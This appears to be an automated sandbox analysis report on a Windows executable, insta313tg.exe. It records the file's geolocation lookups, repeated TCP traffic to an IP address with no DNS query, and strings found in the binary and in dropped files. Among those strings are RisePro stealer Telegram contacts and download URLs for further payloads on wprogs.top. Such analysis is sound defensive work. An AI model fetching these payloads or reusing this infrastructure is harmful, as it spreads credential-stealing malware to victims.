Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	DNS query: name: ipinfo.io
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	DNS query: name: ipinfo.io
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	DNS query: name: ipinfo.io
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	DNS query: name: ipinfo.io

Source: global traffic	HTTP traffic detected: GET /widget/demo/102.165.48.43 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=102.165.48.43 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.22:49169 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140
Source: unknown	TCP traffic detected without corresponding DNS query: 116.203.183.140

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe

Code function: 48_2_005D5240 GetProcessHeap,InternetOpenA,InternetOpenA,InternetOpenUrlA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,CharNextA,CharNextA,CharNextA,CharNextA,

48_2_005D5240

Source: global traffic	HTTP traffic detected: GET /widget/demo/102.165.48.43 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /demo/home.php?s=102.165.48.43 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: db-ip.com

Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: ipinfo.io

Source: package.json44.0.dr, package.json69.0.dr, package.json14.0.dr, package.json97.0.dr, package.json110.0.dr, package.json38.0.dr, package.json94.0.dr, package.json2.0.dr	String found in binary or memory: http://blog.izs.me/)
Source: 21.mp3.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 21.mp3.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: 21.mp3.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 21.mp3.24.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: diff.js0.0.dr, dmp.js.0.dr	String found in binary or memory: http://code.google.com/p/google-diff-match-patch/wiki/API
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: 21.mp3.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: 21.mp3.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 21.mp3.24.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 21.mp3.24.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: 21.mp3.24.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 21.mp3.24.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 21.mp3.24.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: sbom-cyclonedx.js.0.dr	String found in binary or memory: http://cyclonedx.org/schema/bom-1.5.schema.json
Source: conversions.js.0.dr	String found in binary or memory: http://dev.w3.org/csswg/css-color/#hwb-to-rgb
Source: package.json10.0.dr	String found in binary or memory: http://flipjs.io/)
Source: package.json137.0.dr	String found in binary or memory: http://github.com/DABH/colors.js.git
Source: imurmurhash.min.js.0.dr	String found in binary or memory: http://github.com/garycourt/murmurhash-js
Source: imurmurhash.min.js.0.dr	String found in binary or memory: http://github.com/homebrewing/brauhaus-diff
Source: CONTRIBUTING.md0.0.dr	String found in binary or memory: http://github.com/kpdecker/jsdiff/issues
Source: CONTRIBUTING.md0.0.dr	String found in binary or memory: http://github.com/kpdecker/jsdiff/issues).
Source: index.mjs0.0.dr, index.cjs0.0.dr, index.mjs.0.dr	String found in binary or memory: http://jsonpatch.com
Source: route.js.0.dr	String found in binary or memory: http://jsperf.com/1-vs-infinity
Source: package.json147.0.dr	String found in binary or memory: http://n8.io/
Source: package.json145.0.dr	String found in binary or memory: http://n8.io/)
Source: npm-audit.md.0.dr	String found in binary or memory: http://npm.im/
Source: npm-init.md.0.dr	String found in binary or memory: http://npm.im/init-package-json)
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: 21.mp3.24.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 21.mp3.24.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 21.mp3.24.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 21.mp3.24.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: package.json42.0.dr	String found in binary or memory: http://shannonmoeller.com)
Source: imurmurhash.min.js.0.dr	String found in binary or memory: http://sites.google.com/site/murmurhash/
Source: browser.js2.0.dr	String found in binary or memory: http://stackoverflow.com/a/16459606/376773
Source: browser.js2.0.dr	String found in binary or memory: http://stackoverflow.com/a/398120/376773
Source: CONTRIBUTING.md0.0.dr	String found in binary or memory: http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html)
Source: LICENSE65.0.dr	String found in binary or memory: http://www.cl.cam.ac.uk/~mgk25/ucs/wcwidth.c).
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: 21.mp3.24.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: escape.js1.0.dr	String found in binary or memory: http://www.robvanderwoude.com/escapechars.php
Source: insta313tg.exe, 0000002A.00000002.470797690.0000000003C02000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604503591.000000000065F000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: npm-install.md.0.dr	String found in binary or memory: https://bitbucket.org/bitbucketname/bitbucketrepo
Source: npm-start.md.0.dr	String found in binary or memory: https://blog.npmjs.org/post/98131109725/npm-2-0-0)
Source: LICENSE.md11.0.dr	String found in binary or memory: https://blueoakcouncil.org/license/1.0.0
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=102.165.48.43
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=102.165.48.43=OW
Source: browser.js2.0.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
Source: npm-team.md.0.dr	String found in binary or memory: https://docs.npmjs.com/about-developers-team
Source: init.js.0.dr	String found in binary or memory: https://docs.npmjs.com/cli/commands/npx
Source: npm.md.0.dr	String found in binary or memory: https://docs.npmjs.com/policies/terms.
Source: npm-unpublish.md.0.dr	String found in binary or memory: https://docs.npmjs.com/policies/unpublish
Source: package.json33.0.dr	String found in binary or memory: https://feross.org
Source: package.json33.0.dr	String found in binary or memory: https://feross.org/support
Source: npm-install.md.0.dr	String found in binary or memory: https://gist.github.com/gistID
Source: package.json137.0.dr	String found in binary or memory: https://github.com/DABH
Source: package.json137.0.dr	String found in binary or memory: https://github.com/DABH/colors.js
Source: package.json137.0.dr	String found in binary or memory: https://github.com/DABH/colors.js/issues
Source: enoent.js.0.dr	String found in binary or memory: https://github.com/IndigoUnited/node-cross-spawn/issues/16
Source: utils.js.0.dr	String found in binary or memory: https://github.com/Marak/colors.js/blob/master/lib/styles.js
Source: package.json147.0.dr, package.json145.0.dr	String found in binary or memory: https://github.com/TooTallNate/proxy-agents.git
Source: package.json115.0.dr, package.json138.0.dr	String found in binary or memory: https://github.com/chalk/ansi-regex?sponsor=1
Source: npm.js.0.dr	String found in binary or memory: https://github.com/chalk/chalk/pull/600
Source: package.json37.0.dr	String found in binary or memory: https://github.com/chalk/chalk?sponsor=1
Source: package.json128.0.dr, package.json130.0.dr	String found in binary or memory: https://github.com/chalk/wrap-ansi?sponsor=1
Source: browser.js2.0.dr	String found in binary or memory: https://github.com/facebook/react-native/pull/1632
Source: package.json33.0.dr	String found in binary or memory: https://github.com/feross/buffer
Source: package.json33.0.dr	String found in binary or memory: https://github.com/feross/buffer/issues
Source: completion.fish.0.dr	String found in binary or memory: https://github.com/fish-shell/fish-shell/blob/HEAD/share/completions/npm.fish
Source: npm.md.0.dr	String found in binary or memory: https://github.com/git-guides/install-git)
Source: npm-install.md.0.dr	String found in binary or memory: https://github.com/githubname/githubrepo
Source: process-exec-sync.js.0.dr	String found in binary or memory: https://github.com/gvarsanyi/sync-exec/blob/master/js/sync-exec.js
Source: npm-install.md.0.dr	String found in binary or memory: https://github.com/indexzero/forever/tarball/v0.5.6
Source: package.json97.0.dr	String found in binary or memory: https://github.com/isaacs/color-support.git
Source: package.json105.0.dr	String found in binary or memory: https://github.com/isaacs/common-ancestor-path
Source: package.json2.0.dr	String found in binary or memory: https://github.com/isaacs/inflight
Source: package.json2.0.dr	String found in binary or memory: https://github.com/isaacs/inflight/issues
Source: package.json14.0.dr	String found in binary or memory: https://github.com/isaacs/isexe#readme
Source: package.json14.0.dr	String found in binary or memory: https://github.com/isaacs/isexe.git
Source: package.json14.0.dr	String found in binary or memory: https://github.com/isaacs/isexe/issues
Source: package.json20.0.dr	String found in binary or memory: https://github.com/isaacs/jackspeak.git
Source: package.json25.0.dr	String found in binary or memory: https://github.com/isaacs/json-stringify-nice
Source: package.json100.0.dr	String found in binary or memory: https://github.com/isaacs/minipass-sized.git
Source: package.json110.0.dr, package.json94.0.dr	String found in binary or memory: https://github.com/isaacs/minipass.git
Source: package.json116.0.dr	String found in binary or memory: https://github.com/isaacs/node-mkdirp.git
Source: package.json46.0.dr	String found in binary or memory: https://github.com/isaacs/node-tar.git
Source: package.json143.0.dr	String found in binary or memory: https://github.com/isaacs/string-locale-compare
Source: package.json92.0.dr	String found in binary or memory: https://github.com/isaacs/walk-up-path
Source: CONTRIBUTING.md0.0.dr	String found in binary or memory: https://github.com/kpdecker/jsdiff/pull/new/master
Source: utils.js.0.dr	String found in binary or memory: https://github.com/matheussampaio
Source: package.json139.0.dr	String found in binary or memory: https://github.com/mathiasbynens/emoji-regex.git
Source: package.json139.0.dr	String found in binary or memory: https://github.com/mathiasbynens/emoji-regex/issues
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: CONTRIBUTING.md.0.dr	String found in binary or memory: https://github.com/nodejs/admin/blob/master/CODE_OF_CONDUCT.md)
Source: update-gyp.py.0.dr	String found in binary or memory: https://github.com/nodejs/gyp-next/archive/
Source: npm.md.0.dr	String found in binary or memory: https://github.com/nodejs/node-gyp)
Source: npm.md.0.dr	String found in binary or memory: https://github.com/nodejs/node-gyp/wiki).
Source: index.js58.0.dr	String found in binary or memory: https://github.com/nodejs/node/blob/b3fcc245fb25539909ef1d5eaa01dbf92e168633/lib/path.js#L56
Source: index.js3.0.dr	String found in binary or memory: https://github.com/nodejs/node/issues/42785
Source: package.json148.0.dr	String found in binary or memory: https://github.com/npm/agent#readme
Source: package.json148.0.dr	String found in binary or memory: https://github.com/npm/agent.git
Source: package.json148.0.dr	String found in binary or memory: https://github.com/npm/agent/issues
Source: package.json135.0.dr, package.json136.0.dr	String found in binary or memory: https://github.com/npm/cli#readme
Source: package.json135.0.dr, package.json136.0.dr	String found in binary or memory: https://github.com/npm/cli.git
Source: npm.md.0.dr	String found in binary or memory: https://github.com/npm/cli/blob/latest/CONTRIBUTING.md)
Source: package.json135.0.dr, error-message.js.0.dr, package.json136.0.dr, exit-handler.js.0.dr, npm.md.0.dr	String found in binary or memory: https://github.com/npm/cli/issues
Source: index.js71.0.dr	String found in binary or memory: https://github.com/npm/cli/issues/969
Source: index.js71.0.dr	String found in binary or memory: https://github.com/npm/cli/issues/969#issuecomment-737496588
Source: package.json89.0.dr	String found in binary or memory: https://github.com/npm/cmd-shim.git
Source: index.js71.0.dr	String found in binary or memory: https://github.com/npm/cmd-shim/issues/10
Source: package.json149.0.dr	String found in binary or memory: https://github.com/npm/disparity-colors.git
Source: npm.md.0.dr	String found in binary or memory: https://github.com/npm/feedback
Source: package.json44.0.dr	String found in binary or memory: https://github.com/npm/fs-minipass#readme
Source: package.json44.0.dr	String found in binary or memory: https://github.com/npm/fs-minipass.git
Source: package.json44.0.dr	String found in binary or memory: https://github.com/npm/fs-minipass/issues
Source: package.json150.0.dr	String found in binary or memory: https://github.com/npm/fs.git
Source: package.json2.0.dr	String found in binary or memory: https://github.com/npm/inflight.git
Source: package.json6.0.dr	String found in binary or memory: https://github.com/npm/init-package-json.git
Source: package.json19.0.dr	String found in binary or memory: https://github.com/npm/json-parse-even-better-errors.git
Source: package.json88.0.dr	String found in binary or memory: https://github.com/npm/minipass-fetch.git
Source: package.json93.0.dr	String found in binary or memory: https://github.com/npm/minipass-json-stream.git
Source: package.json126.0.dr	String found in binary or memory: https://github.com/npm/mute-stream.git
Source: package.json56.0.dr	String found in binary or memory: https://github.com/npm/npm-install-checks.git
Source: package.json61.0.dr	String found in binary or memory: https://github.com/npm/npm-package-arg
Source: package.json61.0.dr	String found in binary or memory: https://github.com/npm/npm-package-arg.git
Source: package.json61.0.dr	String found in binary or memory: https://github.com/npm/npm-package-arg/issues
Source: npm-dist-tag.md.0.dr	String found in binary or memory: https://github.com/npm/npm/issues/6082
Source: package.json67.0.dr	String found in binary or memory: https://github.com/npm/npmlog.git
Source: npm.md.0.dr	String found in binary or memory: https://github.com/npm/rfcs
Source: update.js.0.dr	String found in binary or memory: https://github.com/npm/rfcs/blob/latest/implemented/0019-remove-update-depth-option.md
Source: package.json50.0.dr	String found in binary or memory: https://github.com/npm/treeverse.git
Source: package.json62.0.dr	String found in binary or memory: https://github.com/npm/validate-npm-package-name
Source: package.json62.0.dr	String found in binary or memory: https://github.com/npm/validate-npm-package-name.git
Source: package.json62.0.dr	String found in binary or memory: https://github.com/npm/validate-npm-package-name/issues
Source: package.json134.0.dr	String found in binary or memory: https://github.com/npm/write-file-atomic
Source: package.json134.0.dr	String found in binary or memory: https://github.com/npm/write-file-atomic.git
Source: package.json134.0.dr	String found in binary or memory: https://github.com/npm/write-file-atomic/issues
Source: package.json42.0.dr	String found in binary or memory: https://github.com/shannonmoeller/cli-columns#readme
Source: index.js28.0.dr	String found in binary or memory: https://github.com/sindresorhus/has-flag/blob/main/index.js
Source: package.json33.0.dr	String found in binary or memory: https://github.com/sponsors/feross
Source: package.json20.0.dr, package.json25.0.dr	String found in binary or memory: https://github.com/sponsors/isaacs
Source: package.json39.0.dr	String found in binary or memory: https://github.com/sponsors/sibiraj-s
Source: package.json70.0.dr, package.json140.0.dr	String found in binary or memory: https://github.com/sponsors/sindresorhus
Source: CONTRIBUTING.md0.0.dr	String found in binary or memory: https://github.com/walmartlabs/generator-release
Source: package.json39.0.dr	String found in binary or memory: https://github.com/watson/ci-info
Source: package.json39.0.dr	String found in binary or memory: https://github.com/watson/ci-info.git
Source: package.json39.0.dr	String found in binary or memory: https://github.com/watson/ci-info/issues
Source: package.json15.0.dr	String found in binary or memory: https://github.com/watson/is-lambda
Source: package.json15.0.dr	String found in binary or memory: https://github.com/watson/is-lambda.git
Source: package.json15.0.dr	String found in binary or memory: https://github.com/watson/is-lambda/issues
Source: package.json49.0.dr	String found in binary or memory: https://github.com/wildlyinaccurate/relative-date.git
Source: index.js67.0.dr	String found in binary or memory: https://github.com/yetingli
Source: npm-install.md.0.dr	String found in binary or memory: https://gitlab.com/gitlabname/gitlabrepo
Source: index.js130.0.dr	String found in binary or memory: https://hackerone.com/reports/541502
Source: insta313tg.exe, insta313tg.exe, 00000030.00000002.604627485.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: insta313tg.exe, 0000002A.00000002.470797690.0000000003C02000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604503591.000000000065F000.00000002.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/m3m1
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/102.165.48.43
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/102.165.48.43=OW
Source: package.json105.0.dr, package.json25.0.dr, package.json92.0.dr, package.json143.0.dr, package.json93.0.dr, package.json100.0.dr	String found in binary or memory: https://izs.me)
Source: route.js.0.dr	String found in binary or memory: https://jsperf.com/object-keys-vs-for-in-with-closure/3
Source: package.json63.0.dr	String found in binary or memory: https://kemitchell.com)
Source: LICENSE-MIT.txt1.0.dr, LICENSE-MIT.txt0.0.dr, package.json139.0.dr	String found in binary or memory: https://mathiasbynens.be/
Source: cssesc.js.0.dr	String found in binary or memory: https://mathiasbynens.be/notes/css-escapes#css
Source: cssesc.js.0.dr	String found in binary or memory: https://mths.be/cssesc
Source: index.js107.0.dr, text.js.0.dr, text.js0.0.dr, RGI_Emoji.js1.0.dr	String found in binary or memory: https://mths.be/emoji
Source: package.json139.0.dr	String found in binary or memory: https://mths.be/emoji-regex
Source: validate-engines.js.0.dr	String found in binary or memory: https://nodejs.org/.
Source: polyfill.js.0.dr	String found in binary or memory: https://nodejs.org/api/fs.html#fs_stat_time_values)
Source: options.js2.0.dr	String found in binary or memory: https://nodejs.org/api/http.html#new-agentoptions
Source: doctor.js.0.dr	String found in binary or memory: https://nodejs.org/dist/index.json
Source: npm-init.md.0.dr	String found in binary or memory: https://npm.im/create-esm):
Source: npm-init.md.0.dr	String found in binary or memory: https://npm.im/create-react-app)
Source: npm-init.md.0.dr	String found in binary or memory: https://npm.im/create-react-app):
Source: npm-access.md.0.dr	String found in binary or memory: https://npm.im/libnpmaccess)
Source: npm-search.md.0.dr	String found in binary or memory: https://npm.im/npm-registry-fetch
Source: escape.js1.0.dr	String found in binary or memory: https://qntm.org/cmd
Source: npm.md.0.dr	String found in binary or memory: https://registry.npmjs.org
Source: npm-audit.md.0.dr	String found in binary or memory: https://registry.npmjs.org/-/npm/v1/keys
Source: npm-audit.md.0.dr	String found in binary or memory: https://registry.npmjs.org/light-cycle/1.4.3)
Source: package.json149.0.dr	String found in binary or memory: https://ruyadorno.com
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: package.json70.0.dr, package.json128.0.dr, package.json130.0.dr, package.json115.0.dr, package.json138.0.dr, package.json140.0.dr	String found in binary or memory: https://sindresorhus.com
Source: license3.0.dr	String found in binary or memory: https://sindresorhus.com)
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: completion.fish.0.dr	String found in binary or memory: https://stackoverflow.com/questions/16657803/creating-autocomplete-script-with-sub-commands
Source: SmzK98tFGb6qzdocFm21bMi.zip.48.dr	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot3
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_bot
Source: index.js131.0.dr	String found in binary or memory: https://tools.ietf.org/html/rfc1928#section-3
Source: package.json39.0.dr, package.json15.0.dr	String found in binary or memory: https://twitter.com/wa7son)
Source: package.json49.0.dr	String found in binary or memory: https://wildlyinaccurate.com/)
Source: insta313tg.exe, 00000030.00000002.604920729.000000000388C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wprogs.top/
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp, insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wprogs.top/wefrgdf/bndwaf.exe
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000B34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wprogs.top/wefrgdf/bndwaf.exe#
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wprogs.top/wefrgdf/rwrgtf.exe
Source: insta313tg.exe, 00000030.00000002.604627485.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wprogs.top:80/wefrgdf/bndwaf.exe
Source: diff.js0.0.dr	String found in binary or memory: https://www.artima.com/weblogs/viewpost.jsp?thread=164293
